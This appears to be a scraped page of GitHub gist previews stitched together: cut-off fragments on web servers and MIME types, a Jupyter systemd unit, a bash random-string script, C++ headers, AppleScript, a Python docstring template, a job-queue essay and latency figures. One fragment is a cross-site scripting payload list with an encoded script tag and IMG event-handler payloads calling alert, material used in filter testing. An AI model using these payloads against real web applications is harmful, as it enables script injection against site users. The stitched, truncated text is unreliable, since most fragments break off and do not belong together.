- People talk about two servers: a web server (e.g. Nginx, Apache, etc.) and a app server (e.g. Language specific servers like Unicorn, Node.js, Tomcat, Http-Kit, etc.). There are exceptions where app servers not required at all (as web server itself provides preprocessors for handling), but let's not talk about now.
- Web servers are really fast and supports lot of standard and commonly used MIME-type requests. Concept of serving a file is -- forming and sending a response of bytes of data and labeling it with requested MIME-type by a client (e.g. web browser).
- Every response format (in layman's language, a file) is recognized by it's MIME-type, for e.g. a PNG image file has "image/png" MIME-type. JavaScript file has "text/javascript". HTML responses (or files) has "text/html". Plain text files have "text/plain".
- Modern Browsers supports a lot of standard MIME-types. Images, videos, text files (XML, HTML, SVG, JS), and they better know how to visualize it. Browser also knows unrec
# After Ubuntu 16.04, Systemd becomes the default. | |
# It is simpler than https://gist.github.com/Doowon/38910829898a6624ce4ed554f082c4dd | |
[Unit] | |
Description=Jupyter Notebook | |
[Service] | |
Type=simple | |
PIDFile=/run/jupyter.pid | |
ExecStart=/home/phil/Enthought/Canopy_64bit/User/bin/jupyter-notebook --config=/home/phil/.jupyter/jupyter_notebook_config.py |
#!/bin/bash | |
# bash generate random alphanumeric string | |
# | |
# bash generate random 32 character alphanumeric string (upper and lowercase) and | |
NEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) | |
# bash generate random 32 character alphanumeric string (lowercase only) | |
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1 |
// | |
// Created by maksadbek on 2018-12-22. | |
// | |
#include <iostream> | |
#include <vector> | |
#include <queue> | |
#include <utility> | |
#include <limits> |
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
tell application "Google Chrome" | |
set tab_list to every tab in the front window | |
repeat with the_tab in tab_list | |
set the_url to the URL of the_tab | |
tell application "Safari" to open location the_url | |
end repeat | |
end tell |
#! /usr/bin/env python | |
# -*- coding: utf-8 -*- | |
"""This module's docstring summary line. | |
This is a multi-line docstring. Paragraphs are separated with blank lines. | |
Lines conform to 79-column limit. | |
Module and packages names should be short, lower_case_with_underscores. | |
Notice that this in not PEP8-cheatsheet.py |
RDBMS-based job queues have been criticized recently for being unable to handle heavy loads. And they deserve it, to some extent, because the queries used to safely lock a job have been pretty hairy. SELECT FOR UPDATE followed by an UPDATE works fine at first, but then you add more workers, and each is trying to SELECT FOR UPDATE the same row (and maybe throwing NOWAIT in there, then catching the errors and retrying), and things slow down.
On top of that, they have to actually update the row to mark it as locked, so the rest of your workers are sitting there waiting while one of them propagates its lock to disk (and the disks of however many servers you're replicating to). QueueClassic got some mileage out of the novel idea of randomly picking a row near the front of the queue to lock, but I can't still seem to get more than an an extra few hundred jobs per second out of it under heavy load.
So, many developers have started going straight t
Latency Comparison Numbers | |
-------------------------- | |
L1 cache reference 0.5 ns | |
Branch mispredict 5 ns | |
L2 cache reference 7 ns 14x L1 cache | |
Mutex lock/unlock 25 ns | |
Main memory reference 100 ns 20x L2 cache, 200x L1 cache | |
Compress 1K bytes with Zippy 3,000 ns 3 us | |
Send 1K bytes over 1 Gbps network 10,000 ns 10 us | |
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD |